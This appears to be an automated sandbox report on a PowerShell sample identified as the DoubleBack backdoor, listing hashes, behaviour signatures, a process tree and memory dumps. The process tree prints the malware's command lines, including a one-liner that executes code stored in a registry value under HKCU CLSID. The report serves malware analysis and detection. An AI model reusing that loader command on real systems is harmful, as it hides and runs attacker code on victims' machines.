Analysis

  • max time kernel
    96s
  • max time network
    160s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20220414-en
  • submitted
    02-06-2022 20:53

General

  • Target

    1204.ps1

  • Size

    296KB

  • MD5

    8a6d292fdd55ddb97fd2df336f66cfbb

  • SHA1

    348401596d0b44faf930787380e146cb5f57795f

  • SHA256

    bac3ed96090fb8ceed04adef4857bb8fd50b49ed65655f688e06d207f2daa3b8

  • SHA512

    c0dd1b85b19a2f969e4ad9948ef195ba7e5246ce5b45eb27b17c98accf9daf1004b595d3fa0f753cb98ebceb2e5b1bed6b22a31abd69e1467d0b78b3b1374055

Score
10/10

Malware Config

Signatures

  • DoubleBack

    DoubleBack is a modular backdoor first seen in December 2020.

  • DoubleBack x64 Payload 4 IoCs
  • Blocklisted process makes network request 4 IoCs
  • Modifies registry class 25 IoCs
  • Suspicious behavior: EnumeratesProcesses 8 IoCs
  • Suspicious behavior: MapViewOfSection 1 IoCs
  • Suspicious use of AdjustPrivilegeToken 2 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
    powershell.exe -ExecutionPolicy bypass -File C:\Users\Admin\AppData\Local\Temp\1204.ps1
    1⤵
    • Blocklisted process makes network request
    • Modifies registry class
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: MapViewOfSection
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of WriteProcessMemory
    PID:3896
    • C:\Windows\system32\msiexec.exe
      C:\Windows\system32\msiexec.exe
      2⤵
      • Blocklisted process makes network request
      • Modifies registry class
      • Suspicious behavior: EnumeratesProcesses
      • Suspicious use of WriteProcessMemory
      PID:1064
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell -c "&{$v1='3154';$k1='hkcu:\Software\Classes\CLSID';$p1=(gp $k1).$v1;rp $k1 $v1;set-itemproperty -pat $k1 -n $v1 -va (($p1|iex)|out-string);exit}"
        3⤵
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:2084

Network

MITRE ATT&CK Matrix

Replay Monitor

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Downloads

  • memory/1064-139-0x0000008800000000-0x000000880000E000-memory.dmp

    Filesize

    56KB

  • memory/1064-143-0x0000008800000000-0x000000880000E000-memory.dmp

    Filesize

    56KB

  • memory/2084-142-0x00007FFF94FF0000-0x00007FFF95AB1000-memory.dmp

    Filesize

    10.8MB

  • memory/2084-141-0x00007FFF94FF0000-0x00007FFF95AB1000-memory.dmp

    Filesize

    10.8MB

  • memory/2084-140-0x0000000000000000-mapping.dmp

  • memory/3896-133-0x000001423B2A9000-0x000001423B2AF000-memory.dmp

    Filesize

    24KB

  • memory/3896-135-0x00007FFF951A0000-0x00007FFF95C61000-memory.dmp

    Filesize

    10.8MB

  • memory/3896-137-0x000001423E050000-0x000001423E05A000-memory.dmp

    Filesize

    40KB

  • memory/3896-138-0x0000008800000000-0x000000880000E000-memory.dmp

    Filesize

    56KB

  • memory/3896-136-0x000001423B2A9000-0x000001423B2AF000-memory.dmp

    Filesize

    24KB

  • memory/3896-134-0x000001423B2A9000-0x000001423B2AF000-memory.dmp

    Filesize

    24KB

  • memory/3896-130-0x000001423B240000-0x000001423B262000-memory.dmp

    Filesize

    136KB

  • memory/3896-132-0x00007FFF951A0000-0x00007FFF95C61000-memory.dmp

    Filesize

    10.8MB

  • memory/3896-131-0x00007FFF951A0000-0x00007FFF95C61000-memory.dmp

    Filesize

    10.8MB